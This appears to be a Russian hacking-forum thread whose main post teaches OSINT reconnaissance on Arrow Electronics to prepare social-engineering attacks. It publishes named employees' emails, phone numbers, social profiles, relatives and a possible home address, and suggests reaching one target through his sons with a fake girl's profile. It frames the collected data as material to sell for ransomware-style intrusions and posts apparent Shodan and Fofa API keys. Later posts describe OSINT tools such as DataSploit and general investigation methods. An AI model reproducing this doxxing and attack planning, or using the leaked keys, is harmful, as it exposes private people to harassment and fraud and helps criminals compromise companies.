В идеале конечно смотреть на официальные заявления компании, а не тянуть их с сайтов наподобие зуминфо и прочих. Таких сайтов куча, я привел лишь малую часть, чтобы просто показать пример. В будущем, когда будете работать, вы поймете, какой сайт наименьше обманывает (спойлер, зуминфо в их число не входит =)). Потому что вы будете иметь доступ к внутренней документации компании и бухгалтерии, если пенетрестеры поработают хорошо, и все выкачают =).
----------------------------

Переходим к пункту 2 и 3. Потому что они связаны. Нам нужно составить список сотрудников, кто за что отвечает, и самое главное - собрать на них инфу.

Для начала поделюсь софтом, который сам использую, потому что я "визуализатор", и мне легче воспринимать информацию визуально.

Я использую yworks.com, позволяет строить связи и прочее визуально, и очень удобно видеть иерархию, кто за что отвечает и т.д. Вы же можете использовать и другие "майнд-мепы", тут на вкус и цвет. Как скачать, установить и прочее тут писать не буду, думаю сами справитесь.

Но советую не пренебрегать такой возможностью, и строить связи. Это помогает лучше придумывать векторы атак как минимум. А как максимум, вы будете понимать, как вам двигаться, и как выстроены взаимоотношения в компании.

В статье я выберу пару человек, и покажу осинт на их примере. Всю структуру компании не будем разбирать, чтобы не увеличивать и без того мой всратый текст =)

В данном случае, так как я стремлюсь показать БЕСПЛАТНЫЙ осинт, то есть с минимальными расходами, я воспользуюсь сервисом apollo.io. Так как рокет дает триал, но чтобы посмотреть телефоны, надо платить денежки. А мы идем по бич- пути (потом объясню почему).

----
Но прежде чем мы приступим, нужно прояснить важный момент, которым задастся читатель, а зачем? зачем собирать досконально, когда можно просто собрать контакты и долбить по ним общей разводкой?
Все мы знаем мем "Здравствуйте, это служба безопасности сбербанка (гори в аду зеленая х#йня//мысли автора). Существует два типа разводок условно.

1. Общие
2. Персональные

В случае с корпами зачастую используются общие. То есть звонок, это айти департамент, пройдите по нашей ссылке, авторизуйтесь, и вуаля. Либо вот вам письмо с вложением, запустите вложение (склеенный док, или просто екзе, или еще варианты), и все. Прелесть этих разводок - они не требуют подготовки, и могут сработать. И самое важное - срабатывают. Про те же "службы безопасности" мы читаем уже последние лет 5 наверное, если не больше.

Но минус тут такой, что если общая разводка спалится, то весь корп встанет на уши, и можно забыть о пробиве. Вы позвонили сотруднику, он отвлекся от просмотра котиков в интернете, и его мозг вспомнил, что на тренинге им говорили про такое. Он тут же сообщает об этом службе безопасности (в этот раз не сбербанка =)), и все, все наготове. И вы можете переходить к следующему корпу, а этот отложить до лучших времен.
Так же общая разводка зависит от множества факторов, таких как:
- Неосведомленность сотрудника
- Харизмы разводящего (в случае звонка)
- Технических аспектов (палится линк, екзе. Запреты внутри компании и т.д.)
Это лишь малая часть факторов, которые могут повлиять. Их гораздо больше. Ну и проходимость таких разводок стремится к небольшому проценту.

В случае же с персональной разводкой, если разводка не удалась, сотрудник не будет понимать, что вы нацелены на компанию, и не побежит рассказывать об этом всем коллегам и прочим. Он либо соскочит, либо сделает то что нужно. В случае с персональной разводкой, когда мы составили список сотрудников и собрали на них информацию, у нас будет 10-20-50 попыток атаковать один и тот же корп. Что повышает шансы на успех. Но про сами разводки мы поговорим в другой раз. В этот раз нас интересует лишь сбор информации, с которой мы будем работать в дальнейшем.
----
Итак, я выбрал двух сотрудников:

Получил их номера телефона (внутренние), ссылки на соц. сети и т.д.

Начинаем начинать:

Apollo:
Dave Reckseen

Business Development DirectoratArrow Electronics

Brighton, Colorado

dave.reckseen@arrow.com
+1 720-266-9229

Linkedin: http://www.linkedin.com/in/dave-reckseen-bbbb9a5

Work:

Code:Copy to clipboard

Arrow Electronics
Business Development Director
Current • 3 years

Tech Data
Manager, Supplier Recruitment
2014 - 2021 • 7 years

Tech Data
Vendor Acquisition Executive
2014 - 2021 • 7 years

Avnet
Manager, Supplier Recruitment
2014

Avnet Technology Solutions
Sales Manager
2005 - 2014 • 9 years
RC
Raindance Communications
CRM Specialist
1999 - 2004 • 5 years

Dish Network
Technical Specialist
1998 - 1999

Идем на рокетрич, смотрим что есть там:

Копипастим все оттуда. Пока просто собираем информацию в кучу, потом разберем, что куда и как.

x.com

 x.com


Dave Reckseen

Dave Reckseen is lid van Facebook. Word lid van Facebook om met Dave Reckseen en anderen in contact te komen. Facebook geeft mensen de kans om te delen en maakt de wereld toegankelijker.

www.facebook.com

Смотрим на линкеде, что все норм:

Теперь начинаем понемногу копать под него, и идем в его твиттер. Смотрим там подпищиков.

Отсюда отмечаем, Киев рестораны, БМВ, Стокгольмский Университет, и другие моменты.

Ок, запишем, держим в голове.

Идем в FB, смотрим что там есть интересного:

Видим, что работал в Avnet, страница не так активна, но есть комментарий от некой:
Donna M. Reckseen

Идем на страницу к ней, т.к. совпадают фамилии.

Женщина в годах, Фейсбук по ней показывает, куда и как он переезжала, листаем ее страничку, и находим интересный лайк:

Некая Елена Рексин.

Идем на страничку к ней, у нее находим, что Донна ставит ей лайки, пишет комменты и т.д. Там же цепляемся за лайк от некой Tiffany Reckseen

Идем на страничку к ней, и похоже находим нашего Дейва:

Там же на страничке, как и у других членов семейства Рексиных - флаги Украины и т.д. Вспоминаем, что Дейв подписан на рестораны Киева, и все немного становится понятнее.

Первично, такие мелочи дают нам понять, что у него двое пацанов, жена, родители и т.д. - это тоже объекты для исследований, ведь атаку на него можно проводить через них. Пацаны, судя по фоткам молодые, значит, можно сделать фейковую страничку девочки, и зайти на папу через них... Но об этом в другой раз =)

Немного попользовавшись гуглом, по запросу: "tiffany and dave reckseen" получаем ссылочку:

https://www.usphonebook.com/david-reckseen/UwQTMzIDNzEjM1kDN0AzM3MDNy0yR

Узнаем адрес (возможно прошлый), и что нашему Дейву - 50 лет. Тоже записываем это в общий портрет персонажа.

Там же на фоунбуке и различные связи, и Елена Рексин, с Миколаева (это украинский Николаев?), и прочее. Изучая их странички, мы формируем портрет его окружения, что характеризуем нам самого персонажа. Что в свою очередь дает нам простор для творчества.

Сделав ПЕРВИЧНОЕ исследование по Дейву (пока не копаем глубоко), перейдем ко второму персонажу.
--------------------
Meredith Maddox

Senior Event Manager at Arrow Electronics

meredith.maddox@arrow.com
+1 423-367-3307
+1 720-418-7846

Code:Copy to clipboard

Arrow Electronics
Senior Event Manager
Current • 2 years

Unum
Consultant, Promotions and Events
2018 - 2022 • 4 years

Kappa Delta Sorority
Events and Retail Manager
2016 - 2018 • 2 years

Kappa Delta Sorority
Chapter Services Coordinator
2015 - 2016

East Tennessee State University
Undergraduate Admissions Counselor
2013 - 2015 • 2 years

Facebook

facebook.com

http://www.linkedin.com/in/meredith-maddox-216b5051

С этой дамочкой становится интереснее. Если мы перейдем по ее Фейсбуку, то нас пошлют, и скажут, что посмотреть страничку невозможно.
Вбиваем в гугл запрос "Meredith Maddox arrow.com", и получаем такую ссылку:

[ https://www.linkedin.com/in/meredith-ottley-216b5051?trk=people- guest_people_search-card ](https://www.linkedin.com/in/meredith- ottley-216b5051?trk=people-guest_people_search-card)

По фотке сходится с рокетричем, но фамилия уже Ottley.

Снова идем в ФБ, и находим:

Facebook

www.facebook.com

Обращаем внимание на цифру 1 в конце, ну и на фотки. Видим, что дамочка вышла замуж, и соответственно сменила фамилию. Хотя в рокетах и аполло она еще Меддокс.

Так же шерстим соц. сети, выписываем интересные моменты (как с Дейвом), и на этом пока тормозим.
------------------------

Теперь перейдем к тому, что мы собрали, и самое главное - зачем нам вся эта инфа, и почему не копаем глубоко?

Ответ прост - время. Мы бегло собираем первичную информацию, строим иерархию компании, и получаем базовые данные о сотрудниках (немного глубже, чем выдают b2b сервисы, но не глубоко пока). После первичного сбора данных, нам нужно валидировать номера телефонов (что номер телефона в компании соответствует тому человеку, под которого мы копали).

Здесь вариантов несколько:
1. Прозвонщики. Просто выдаем им в формате: номер телефона + FName\LName сотрудника, он звонит, уточняет, является ли человек на том конце провода тем, кем мы его представили прозвонщику, и работает ли он там.
Если нет (недозвон, или взял другой человек), то пробиваемся через общий телефон, и просим соединить с сотрудником. Здесь небольшой простор для СИ необходим, но в целом, нам надо понять, работает ли там сотрудник, и стоит ли нам копать под него дальше.

Резонный вопрос может возникнуть, а почему сначала не валидировать, а потом уже копать? Тут яркий пример с нашей Мэддокс и Оттли. На ресепшене могут не знать, что она была раньше Меддокс и сказать, что такого сотрудника нет. А так как мы собрали первичную информацию, мы уже знаем ее правильную фамилию, и то, что нам скажут "Мы ничего не знаем" снижает риски ошибки.

Второй момент: Собрав первичную информацию, легче разработать скрипт проверки. Например: Это звонит ее коллега из Каппа Дельта, по вопросу....

2. Звонилка + ИИ с заранее записанным скриптом. Сейчас ИИ развит настолько (я думаю некоторые получали звонки с различными опросами, где звонит бот), что можно все автоматизировать, и накидать небольшой скрипт, который будет автоматически прозванивать, и уточнять, есть ли такой сотрудник и т.д. Если что, про это тоже напишу в другой статье, как поднять такую вундервафлю, и не дергать лишний раз прозвонщика.
------------------------

Строим структуру компании:

Перво-наперво идем на наш любимый уже рокетрич, и смотрим там:

Далее смотрим уже подробнее:

И переносим все в нашу софтинку под названием yworks. Да, лучше хранить все локально.

Тут важный момент, вы можете СНАЧАЛА построить структуру компании, а потом пробивать уже сотрудников. Тут как кому проще. Я допустим сначала собираю сотрудников, первично нахожу на них информацию, и потом привязываю их к отделам. Потому что не на каждого находится что-то интересное. А так, я уже знаю, на кого у меня есть интересненькое, с чем можно работать, и оттуда уже разгребаю отдел.

Здесь все достаточно просто, и понятно. Построили связи, построили структуру. В дальнейшем это позволит еще посмотреть, какие вакансии есть в эти отделы (LinkedIn ебучий в помощь), и там тоже есть простор для СИ. Пока не будем этого касаться.

Теперь посмотрим, кто конкурирует с нашей фирмой, и вообще как-то связан.
Для этого идем на в наш лучший инструмент - гугл.

Если вы достаточно внимательны, то можете заметить там компанию Avnet. А кто у нас еще работал в Avnet? Правильно, наш любимый уже Dave Reckseen. Вот поэтому важно смотреть конкурентов, и понимать, что от одних, он ушел к другим.
Если мы атакуем в дальнейшем один сектор, то информация о БЫВШИХ сотрудниках компании тоже будет полезной =)

Так же все это закидываем в наш yworks, отдельным проектом. И подмечаем такие детали.

Опять же, пока мы не готовим атаку, а просто собираем информацию - глубоко копать не нужно.

--------------------
Ну и последний пунктик, новости. Здесь снова воспользуемся гуглом.
Запрос: "Arrow Electronics", и переходим во вкладку News. Там ставим - за последний месяц (опять же, не копаем глубоко пока). И смотрим, что пишут про компанию. Пробегаем по диагонали, чтобы было понимание, что с компанией происходит, и какие у нее события.
Допустим из интересного, такая новость:

Компания Arrow Electronics подписала новое соглашение о дистрибуции VMware с Broadcom, расширив свое покрытие в Европе до 20 стран.

Дистрибьютор продолжит обслуживать регионы, которые он охватывал до приобретения Broadcom, и теперь включает в себя Исландию, Ирландию, Италию, Нидерланды, Словакию, Чехию и Швейцарию.

Он будет поставлять полный портфель инфраструктуры частного облака VMware, предоставляя партнерам-реселлерам доступ к своим техническим знаниям, программам обучения и сертифицированным ресурсам.

Ник Баннистер (на фото), президент подразделения корпоративных вычислительных решений Arrow в регионе EMEA, сказал: «Являясь дистрибьютором VMware на протяжении 20 лет и эксклюзивным агрегатором решений Symantec по кибербезопасности для Broadcom в Европе, мы намерены продолжить наши отношения и сыграть решающую роль в новом подходе VMware к выходу на рынок».

Click to expand...

Сама новость: <https://iteuropa.com/news/arrow-and-broadcom-expand-vmware- distribution-deal>
Дата новости: June 3, 2024

И вот такие мелочи мы выцепляем, и так же вносим в наши заметки. Все это пригодится в дальнейшем.

Как итог мы сделали поверхностный осинт отдельно взятой компании (не полный, я просто накидал вам тейки), и получили немного больше информации, нежели просто "посмотреть в зуминфо".
Потому что просмотр в зуминфо, это не осинт, это банальный пробив.

К чему я это все? К тому, что когда мы строим такие связи, пробиваем конкурентов, копаем личную информацию на сотрудников, мы можем позволить себе больше идей и методов атак. Кажется, что это трудоемкий процесс, но на самом деле одна компания занимает от силы 2-4 часа (зависит от кол-ва сотрудников), в день таких компаний можно делать 3-4 штуки. Это к тому, что пока вы ищете варианты "как заработать" или "что делать" - вы можете заняться сбором такой информации, чтобы в дальнейшем ее монетизировать.

Как первое домашнее задание (если вам интересна эта тема), сделайте вот что: посмотрите блоги рансомщиков, какой сектор лучше платит. Проанализируйте, и соберите инфу на 10-20 компаний из этого сектора, чтобы в дальнейшем это монетизировать.
В будущих статьях я хочу рассказать об углубленном осинте, с использованием уже платных аккаунтов, так же затронуть тему софта (с гитхаба), тему регистрации акков по типу линкеда (а он капризный последнее время), а так же общей настройки системы.
После того, как мы подготовимся в рамках цикла статей к глубокому осинту, мы затроним уже тему атак. Различные разводки, методы и т.д.

В данной статье я использовал лишь USA соксы, и свое время. Никаких платных или специфических инструментов. В этом был смысл. Если будет интерес, то конечно продолжу этот цикл. Планы грандиозные.

С уважением.

fofa
2c088d5276e9f7bba23c50d392bc6079
3d62b3a9379464399d7fd0d7cfce9320
36e9d7c4f23a45a5f0b3e6650157e6f0
4c428ccbf09eeb05590ab842f24c45dd
cf2d1def2a9ce04c7b86b78e80920ad3

shodan
ugzKocaJMch22p8ywabAlGQWLCYxYTde
mvqpLKKMMlkyYHUnzVviD0M0C158UV5L
e9SxSRCE1xDNS4CzyWzOQTUoE55KB9HX
olj8BVTzKccQDbfyXSvYYzrrhQhaRW0J
v4YpsPUJ3wjDxEqywwu6aF5OZKWj8kik
2TmIvimpoSl17bytI2lJBtfSDJVpSE6F
PGHgSzfOUl5UJ44qJ53f7tZn9gQwvwIM

кому нужны кеи ставьте лайк с меня кей в пм

Может кто поделиться обозначенным в топике api?

Давайте сразу скажу, что я ламер и могу сразу не допереть. В общем, решил опробовать эту чудо-программу и кроме данных непосредственно самой фотографии ничего не получил. Т.е. пиксели, дата создания (не точная), еще какая-то херота и все. Потом даже выставил полностью все настройки на телефоне так, чтоб геотеги привязывались при съемке, GPS на теле врубил. Полученную в итоге фотку загрузил в прогу, все то же самое. Не кажет она никаких полезных данных. В связи с этим вопрос: вы что-то дополнительное в ней настраиваете? Может докачиваете что-то? Подскажите, плз.

​

ReconSpider**- новый OSINT фреймворк**

ReconSpider is most Advanced Open Source Intelligence (OSINT) Framework for scanning IP Address, Emails, Websites, Organizations and find out information from different sources.
ReconSpider can be used by Infosec Researchers, Penetration Testers, Bug Hunters and Cyber Crime Investigators to find deep information about their target.
ReconSpider aggregate all the raw data, visualize it on a dashboard and facilitate alerting and monitoring on the data.

Overview of the tool:
Performs OSINT scan on a IP Address, Emails, Websites, Organizations and find out information from different sources.
Correlates and collaborate the results, show them in a consolidated manner.
Use specific script / launch automated OSINT for consolidated data.
Currently available in only Command Line Interface (CLI).

__Скачать
https://github.com/bhavsec/reconspider
https://reconspider.com

Oryon OSINT Browser - попытка разработчиков сделать osint браузер.

Oryon OSINT Browser is a web browser designed to assist researchers in conducting Open Source Intelligence (OSINT) investigations. Oryon comes with dozens of pre-installed tools and a selected set of links cataloged by category.

To safely use all Oryon Browser options, it is recommended that you take the following steps:

1. Check your browser privacy settings. Reset all settings if necessary or make the necessary changes.
2. Disable browsing history (extension: History On / Off)
3. Enable free proxy (extension: Hotspot Shield Free VPN Proxy)
4. Create a dedicated gmail account
5. Create dedicated accounts on Facebook and Twitter
6. Take a look at the collection of links
7. Check out the Oryon Tools bookmarklet
8. Check installed add-ons (extensions: Context, Extension Manager)
9. Save a copy of the QueryTool spreadsheet on your GoogleDrive and check its performance with your cases
10. Log in to the MIIS YouTube channel and watch practical video tutorials.

Features

• Based on SRWare Iron Portable
• More than 60 pre-installed tools to support investigators in their everyday work
• More than 400 links to specialized sources of information and online investigative tools
• Custom Search Engines
• QueryTool (Google Spreadsheet)
• Oryon Bookmarklet
• Additional privacy protection features

Скачать:https://sourceforge.net/projects/oryon-osint-browser/

Сбор информации при помощи технологии OSINT в связке с DataSploit

В этой статье будет рассмотрено, как при помощи OSINT и адреса электронной почты узнать, какие сайты посещает пользователь.

Для тех, кто не знаком с этой концепцией, поясню, что технология OSINT расшифровывается как Open-Source INTelligence (разведка на основе открытых источников) и в основном представляет собой сбор публично доступной информации в интернете для последующего анализа. С другой стороны, поведенческие характеристики описывают деятельность пользователя, в том числе и перечень посещаемых сайтов. Например, так: «Боб – женатый юрист и использует Dropbox, LinkedIn и Facebook. Также у Боба есть учетная запись в Gmail».

Проблемы безопасности электронной почты

В современном мире не так редки случаи, когда происходит информационная утечка о том, что имена пользователей или электронных ящиков, находится в базе данных веб-приложения.

Зачастую злоумышленник, при помощи исключительно взаимодействия с формой авторизации, может легко догадаться, что электронная почта хранится в базе приложения. То есть можно просто ввести неправильную электронную почту или пароль и посмотреть, каков будет ответ сервера.

Ситуация - Ответ сервера ​

Электронная почта не хранится в базе приложения - Учетная запись с такой электронной почтой не найдена
Электронная почта хранится в базе данных, но пароль неверный - Пароль неверный, попробуйте снова

Click to expand...

Вышеуказанные примеры позволяют определить, зарегистрирован ли пользователь в системе. Однако не каждое потенциально уязвимое приложение выдает такие ответы. Иногда, информация утекает во время отсылки браузеру статусного HTTP- кода, отличного от 200, или перенаправления на другую страницу, на которой можно извлечь нужные сведения.

Почему эти уязвимости встречаются в приложениях?

Основная причина заключается в желании архитекторов сделать систему более удобной, плюс, в некоторой степени, влияние крупных игроков, таких как Microsoft или Google, которые задают современные тренды в проектировании и написании приложений.

Сервис - Ситуация - Ответ сервера

Outlook - Несуществующий пользователь - Такой учетной записи не существует
Gmail - Несуществующий пользователь - Невозможно найти вашу учетную запись

Click to expand...

И тут веб-разработчику может прийти следующая мысль: «Если большие компании так делают, то почему не могу я?».

Но не забывайте о хакерах. Сообщения выше являются понятными для пользователя и помогают сориентироваться, что происходит, но и негативно влияют на безопасность, что особенно актуально, если сайт предназначен для широкой аудитории.

Компаниям следует защищать информацию, хранимую в базах приложений, используемых людьми с определенной религией, расой, сексуальной ориентацией, политическими взглядами и так далее. Эта тема касается сайтов знакомств, игровых сайтов и любых других сервисов, у которых можно получить приватные поведенческие паттерны пользователей.

Рассмотрим подробнее угрозы, связанные с утечкой электронной почты:

• Пользовательские учетные записи потенциально могут быть получены при помощи брутфорса.
• Рабочие электронные адреса могут извлекаться для спама.
• OSINT может использоваться для выяснения персональной информации на сайтах, где зарегистрирован пользователь.

Как решить проблему?

С точки зрения разработчика ответ сервера должен быть таким, чтобы не было понятно, что произошло, как показано в таблице ниже.

Ситуация - Ответ сервера

Несуществующая электронная почта - Предоставленные учетные данные не корректны
Существующая почта с неправильным паролем - Предоставленные учетные данные не корректны

Click to expand...

Twitter – один из примеров, где было пожертвовано частью удобствами пользователей ради безопасности:

Сервис - Ситуация - Ответ сервера

Twitter - Несуществующий пользователь - Введенная электронная почта и пароль не совпадают ни с одной нашей записью

Click to expand...

Решение оказалось довольно простым: сообщения об ошибках во время авторизации должны иметь такое содержимое, чтобы не было понятно, вы ошиблись при вводе или учетной записи не существует.

OSINT в контексте электронной почты

Начиная с небольших веб-приложений, написанных на PHP, JavaScript или Python, и заканчивая широко известными сайтами по всему миру, включая ERP и CRM системы с открытым исходным кодом, существует масса случаев утечек электронных адресов из баз данных.

Помните, что у хакеров может быть достаточно времени и мотивация на выполнение ручного пентеста и написание утилит, заточенных под конкретную задачу, с целью идентификации электронных адресов с поведенческими характеристиками.

Автоматический OSINT в связке с DataSploit

DataSploit представляет собой фреймворк, реализующий технологию OSINT и написанный на Python, который в автоматическом режиме собирает информацию о доменах, электронной почте, именах пользователей и телефонах. Вы можете использовать DataSploit как внутри Python-приложений, так и в качестве отдельного инструмента через командную строку.

Ниже показан перечень команд для установки DataSploit:

Code:Copy to clipboard

git clone [URL]https://github.com/datasploit/datasploit[/URL] /etc/datasploit

cd /etc/datasploit/

pip install -r requirements.txt

mv config_sample.py config.py

Если установка завершилась успешно, в консоли будет выведено следующее сообщение:

Code:Copy to clipboard

python datasploit.py
True

Для запуска потребуется нужно указать цель или файл.

Формат команды:

Code:Copy to clipboard

datasploit.py [-h] [-i SINGLE_TARGET] [-f FILE_TARGET] [-a] [-q] [-o OUTPUT]

Возможные аргументы:

Аргумент
Описание
-h, --help
Показать справку и выйти
-i SINGLE_TARGET, --input SINGLE_TARGET
Нужно указать цель
-f FILE_TARGET, --file FILE_TARGET
Нужно указать файл
-a, --active
Активное сканирование
-q, --quiet
Тихое сканирование в автоматическом режиме и принятие стандартных ответов
-o OUTPUT, --output OUTPUT
Нужно указать целевую директорию

Ниже показан пример для сбора информации, касающейся конкретного электронного адреса:

Code:Copy to clipboard

python emailOsint.py bob@genericdomain.org

Результат работы команды:

[-] Skipping Hacked because it is marked as disabled.

---> Finding Paste(s)..

[-] google_cse_key not configured

[-] google_cse_key and google_cse_cx not configured. Skipping paste(s) search.

Please refer to http://datasploit.readthedocs.io/en/latest/apiGeneration/.

---> Searching Scribd Docs

---> Checking breach status in HIBP (@troyhunt)

Pwned at 4 Instances

Title: Adobe

BreachDate: 2013-10-04

PwnCount: 152445165

Description: In October 2013, 153 million Adobe accounts were breached with each containing an internal ID, username, email, encrypted password and a password hint in plain text. The password cryptography was poorly done and <a href="http://stricture-group.com/files/adobe- top100.txt&quot; target="_blank" rel="noopener">many were quickly resolved back to plain text. The unencrypted hints also <a href="[http://www.troyhunt.com/2013/11/adobe-credentials-and- serious.html&quot](http://www.troyhunt.com/2013/11/adobe-credentials-and- serious.html"); target="_blank" rel="noopener">disclosed much about the passwords adding further to the risk that hundreds of millions of Adobe customers already faced.

DataClasses: Email addresses, Password hints, Passwords, Usernames

Title: Dropbox

BreachDate: 2012-07-01

PwnCount: 68648009

Description: In mid-2012, Dropbox suffered a data breach which exposed the stored credentials of tens of millions of their customers. In August 2016, <a href="[https://motherboard.vice.com/read/dropbox-forces-password-resets-after- user-credentials-exposed&quot](https://motherboard.vice.com/read/dropbox- forces-password-resets-after-user-credentials-exposed"); target="_blank" rel="noopener">they forced password resets for customers they believed may be at risk. A large volume of data totalling over 68 million records <a href="[https://motherboard.vice.com/read/hackers-stole-over-60-million- dropbox-accounts&quot](https://motherboard.vice.com/read/hackers-stole- over-60-million-dropbox-accounts"); target="_blank" rel="noopener">was subsequently traded online and included email addresses and salted hashes of passwords (half of them SHA1, half of them bcrypt).

DataClasses: Email addresses, Passwords

Title: LinkedIn

BreachDate: 2012-05-05

PwnCount: 164611595

Description: In May 2016, <a href="[https://www.troyhunt.com/observations-and- thoughts-on-the-linkedin-data- breach&quot](https://www.troyhunt.com/observations-and-thoughts-on-the- linkedin-data-breach"); target="_blank" rel="noopener">LinkedIn had 164 million email addresses and passwords exposed. Originally hacked in 2012, the data remained out of sight until being offered for sale on a dark market site 4 years later. The passwords in the breach were stored as SHA1 hashes without salt, the vast majority of which were quickly cracked in the days following the release of the data.

DataClasses: Email addresses, Passwords

Title: MySpace

BreachDate: 2008-07-01

PwnCount: 359420698

Description: In approximately 2008, <a href="[http://motherboard.vice.com/read/427-million-myspace-passwords-emails- data-breach&quot](http://motherboard.vice.com/read/427-million-myspace- passwords-emails-data-breach"); target="_blank" rel="noopener">MySpace suffered a data breach that exposed almost 360 million accounts. In May 2016 the data was offered up for sale on the "Real Deal" dark market website and included email addresses, usernames and SHA1 hashes of the first 10 characters of the password converted to lowercase and stored without a salt. The exact breach date is unknown, but <a href="https://www.troyhunt.com/dating-the-ginormous-myspace- breach&quot; target="_blank" rel="noopener">analysis of the data suggests it was 8 years before being made public.

DataClasses: Email addresses, Passwords, Usernames

---> Checking Fullcontact..

[-] fullcontact_api not configured

[-] Full-Contact API Key not configured. Skipping Fullcontact Search.

Please refer to http://datasploit.readthedocs.io/en/latest/apiGeneration/.

---> Searching Clearbit

[-] clearbit_apikey not configured

[False, 'INVALID_API']

[-] Clearbit API Key not configured. Skipping Clearbit Search.

Please refer to http://datasploit.readthedocs.io/en/latest/apiGeneration/.

---> Basic Email Check(s)..

[-] mailboxlayer_api not configured

[-] mailboxlayer_api not configured

[-] MailBoxLayer_API Key not configured. Skipping basic checks.

Please refer to http://datasploit.readthedocs.io/en/latest/apiGeneration/.

---> Searching Slideshare

---> Searching Whoismind for associated domains

Мы получили очень много информации. При помощи базового запроса выяснилось, что пользователь с электронной почтой bob@genericdomain.org использует Adobe, Dropbox, LinkedIn и MySpace.

Обратите внимание, что для получения информации DataSploit интенсивно использует сторонние сервисы и API. Отчет выше был получен при помощи публичного сервиса haveibeenpwned.com (HIBP), который проверяет, присутствует ли конкретный адрес электронной почте в массиве скомпрометированных данных.

Соответствующая секция в отчете выше:

---> Checking breach status in HIBP (@troyhunt)

Для более детального отчета по другим раздела нужно получить API-ключ у соответствующего провайдера информации, который поддерживает DataSploit:

• https://account.shodan.io/register
• https://www.censys.io/register
• https://dashboard.clearbit.com/signup
• https://hunter.io/users/sign_up
• https://dashboard.fullcontact.com/signup
• https://console.developers.google.com/
• https://www.zoomeye.org/accounts/register

Затем нужно выполнить соответствующие настройки в файле config.py.

Заключение

В этой статье мы коснулись информационных утечек и технологии OSINT, которая позволяет получить информацию из открытых источников. В частности, был рассмотрен пример поиска адреса электронной почты по общедоступным базам данных.

Некоторые сайты и приложения имеют отношение интернет-знакомствам, игровой тематике, или предназначены для людей, придерживающихся определенной религии или сексуальной ориентации или политической идеологии. Хакеры с хорошей мотивацией и большим запасом времени могут выполнить тест на проникновение вручную, чего может быть вполне достаточно для идентификации поведенческих характеристик пользователя.

Кроме того, мы рассмотрели фреймворк DataSploit, который автоматизирует сбор информации по технологии OSINT. В частности, скрипт emailOsint.py предназначен для сбора информации об электронной почте. Более того, был рассмотрен пример, как легко выяснить сайты, на которых зарегистрирован указанная электронная почта.

Автор: Behrouz Mansoori

Классическая методология OSINT, которую вы найдете повсюду, проста:

1. Определите требования: что вы ищете?
2. Получите данные
3. Анализируйте собранную информацию
4. Сводные данные и отчетность.

Далее, либо повторите поиск путем комбинации только что собранных данных, либо завершите расследование и напишите отчет.

Очень часто во время расследований мы теряемся в объеме собранных данных, и трудно понять, в каком направлении следует копать. В этом случае, я думаю, будет полезно сделать перерыв и вернуться к шагам 3 и 4: проанализируйте и суммируйте то, что вы нашли, перечислите, что может помочь вам развить и определите новые (или более точные) вопросы, на которые все еще нужны ответы.

Никогда не сдавайтесь: возможно, у вас будет ощущение, что вы изучили все возможности получения информации о цели. Но не сдавайтесь. Сделайте перерыв (час или день, занимаясь чем-то другим), затем снова проанализируйте входные данные и попытайтесь взглянуть на них с другой точки зрения.

Храните доказательства: информация исчезает онлайн очень быстро. Представьте, что человек, которого вы ищите, начинает что-то подозревать, внезапно все его учетные записи в социальных сетях и веб-сайты могут быть удалены им из сети. Так что храните доказательства: скриншоты, веб-архивы, а не только ссылки на онлайн ресурсы.

В криминалистике, ключевым моментом является сбор событий, происходящих в одно и то же время. Когда был создан сайт? Когда была создана учетная запись FB? Когда было написано последнее сообщение в блоге?

Есть еще два других метода, которые я считаю полезными. Первый - это блок- схемы, описывающие рабочий процесс для поиска дополнительной информации по типу данных (например, по электронной почте). Лучшее, что я видел, было сделано Майклом Баззеллом на https://inteltechniques.com/blog/2018/03/06/updated-osint-flowcharts/. Например, вот рабочий процесс Майкла Баззелла при изучении информации на адрес электронной почты:

Я думаю, будет хорошей идеей начать разработку собственной типовой схемы расследования и постепенно улучшать его с течением времени с помощью новых хитростей и сервисов, которые вы найдете. Бесплатно разработать блок-схему онлайн вы можете на draw.io

Последняя методология, которую я бы порекомендовал для длительных исследований, - это анализ конкурирующих гипотез . Эта методология была разработана ЦРУ в 70-х годах, чтобы помочь аналитику убрать предвзятость из своего анализа и тщательно оценить различные гипотезы.

Подготовьте ОС

Прежде чем приступить к расследованию, необходимо рассмотреть несколько аспектов безопасности работы, чтобы не настораживать людей и компании, которые вы исследуете. Посещение личного веб-сайта цели может дать ей ваш IP-адрес и, следовательно, ваше местоположение, использование вашей личной учетной записи социальной сети в браузере с которого проводится расследование, может привести к автоматическому щелчку по лайку, реализованному с помощью уязвимости.

Используйте коммерческий VPN или Tor для всех подключений из вашего браузера. Большинство коммерческих VPN предоставляют серверы в разных странах, и Tor позволяет вам выбрать страну выходного узла, поэтому я пытаюсь выбрать страну, которая не будет выделяться в этом контексте (США для расследования целей из США и т.д.). Используйте аккаунты в социальных сетях, созданные под вымышленным именем, чтобы случайно не деанонимизироваться перед целью.

Инструменты OSINT не имеют значения, гораздо важнее то, что вы делаете с этими инструментами. Тестируйте инструменты, читайте их код, создавайте свои собственные инструменты и т.д., Но убедитесь, что вы понимаете, что делаете.

Следствием этого является то, что не существует идеального инструментария. Лучший инструментарий - тот, который вы знаете, любите и осваиваете. Но позвольте мне рассказать вам, что я использую и какие другие инструменты могут вас заинтересовать.

Я использую Chrome в качестве браузера для расследования, главным образом потому, что Hunchly доступен только для Chrome. Я добавляю к нему несколько полезных плагинов:

[archive.is Button](https://chrome.google.com/webstore/detail/archiveis- button/cgjpabpjaocpgppajkeplhbipbdippdm) позволяет быстро сохранить веб- страницу в archive.is (подробнее об этом позже)

[Wayback Machine](https://chrome.google.com/webstore/detail/wayback- machine/fpnmgdkabkmnadcjpehmlllkndpkmiak) для поиска заархивированной страницы в archive.org

[OpenSource Intelligence](https://chrome.google.com/webstore/detail/open- source-intelligence/bclnaepfegjimpinlmgnipebbknlmmbh) предоставляет быстрый доступ ко многим инструментам OSINT

[EXIF Viewer](https://chrome.google.com/webstore/detail/exif- viewer/mmbhfeiddhndihdjeganjggkmjapkffm) позволяет быстро просматривать данные EXIF ??в изображениях

[FireShot](https://chrome.google.com/webstore/detail/take-webpage- screenshots/mcbpblocgmgfnpjjppndjkmgjaogfceg) позволяет быстро сделать скриншот

Hunchly

Я недавно начал использовать Hunchly, и это отличный инструмент. Hunchly - это расширение для Chrome, которое позволяет сохранять, и плдписывать все веб-данные, найденные вами в ходе расследования. По сути, вам просто нужно нажать «Захват» в расширении, когда вы начинаете расследование, и Hunchly сохранит все веб-страницы, которые вы посещаете, в базе данных, что позволит вам добавлять к ним заметки и теги.

Maltego

